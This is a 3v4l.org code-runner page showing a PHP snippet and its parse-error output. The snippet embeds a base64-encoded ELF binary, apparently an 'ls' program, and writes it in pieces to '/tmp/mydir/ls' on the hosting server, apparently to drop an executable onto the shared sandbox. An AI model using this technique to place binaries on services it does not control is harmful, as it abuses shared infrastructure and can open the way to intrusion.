3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $data="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAaL4ECDQAAADkowEAAAAAADQAIAAJACgAHAAbAAYAAAA0AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQI+I8BAPiPAQAFAAAAABAAAAEAAADsngEA7B4GCOweBgj0AwAAFBAAAAYAAAAAEAAAAgAAAPieAQD4HgYI+B4GCAABAAAAAQAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQIRAAAAEQAAAAEAAAABAAAAFDldGTcYQEA3OEFCNzhBQjsBgAA7AYAAAQAAAAEAAAAUeV0ZAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAQAAABS5XRk7J4BAOweBgjsHgYIFAEAABQBAAAEAAAAAQAAAC9saWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAABgAAAAEAAAAFAAAAAMAAABHTlUA7angiOhyFglGW+rb5epVdlMEHJ8DAAAAbAAAAAQAAAAHAAAAggBAALIhjD8IRAADoAQAAGwAAABvAAAAeQAAAEJF1ey645J8KR2MHLxQdp448oschvCWfM4sY3I8rTkNrEvjwNhxWByWoImX5GJB9bmN8Q7q0+8OMsT3ErOi9xIAAAAAAAAAAAAAAAAAAAAARQQAAAAAAAAAAAAAEgAAAEICAAAAAAAAAAAAABIAAAAIAwAAAAAAAAAAAAASAAAAdwIAAAAAAAAAAAAAEgAAALEEAAAAAAAAAAAAABIAAACGAQAAAAAAAAAAAAASAAAAEQAAAAAAAAAAAAAAIAAAAHQBAAAAAAAAAAAAABIAAAAOAQAAAAAAAAAAAAASAAAA7wEAAAAAAAAAAAAAEgAAALsBAAAAAAAAAAAAABIAAADoBAAAAAAAAAAAAAASAAAAbQMAAAAAAAAAAAAAEgAAAHsEAAAAAAAAAAAAABIAAACpAgAAAAAAAAAAAAASAAAA6wIA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pZ2FkZHNldABnZXRncm5hbQB3Y3N3aWR0aABzdGRvdXQAZnNlZWtvNjQAbWVtY3B5AGZjbG9zZQBzdHJ0b3VsAG1hbGxvYwByYWlzZQBtYnNpbml0AF9fbHhzdGF0NjQAbmxfbGFuZ2luZm8Ab3BlbmRpcgBfX3hzdGF0NjQAX19jdHlwZV9iX2xvYwBnZXRlbnYAb3B0YXJnAF9fZnJlYWRpbmcAc3RkZXJyAHdjd2lkdGgAaW9jdGwAX29ic3RhY2tfbmV3Y2h1bmsAcmVhZGxpbmsAZ2V0b3B0X2xvbmcAZmlsZW5vAGZ3cml0ZQBnZXR0aW1lb2ZkYXkAc2lnYWN0aW9uAF9fbWVtY3B5X2NoawBzaWdpc21lbWJlcgBfX2ZwZW5kaW5nAGxvY2FsdGltZQBsc2VlazY0AHN0cmNocgBpc3djbnRybABta3RpbWUAcHJvZ3JhbV9pbnZvY2F0aW9uX3Nob3J0X25hbWUAcmVhZGRpcjY0AHdjc3RvbWJzAF9fY3R5cGVfdG91cHBlcl9sb2MAX19jdHlwZV90b2xvd2VyX2xvYwBfX3NwcmludGZfY2hrAG1lbW1vdmUAX29ic3RhY2tfYmVnaW4AYmluZHRleHRkb21haW4AZndyaXRlX3VubG9ja2VkAHN0cmNtcABfX3N0cnRvdWxsX2ludGVybmFsAHRj;"$data=base64_decode($data);file_put_contents('/tmp/mydir/ls', $data,FILE_APPEND);?>
Output for 5.4.0 - 5.4.8
Parse error: syntax error, unexpected '$data' (T_VARIABLE) in /in/d9dtO on line 1
Process exited with code 255.
Output for 5.3.0 - 5.3.18
Parse error: syntax error, unexpected T_VARIABLE in /in/d9dtO on line 1
Process exited with code 255.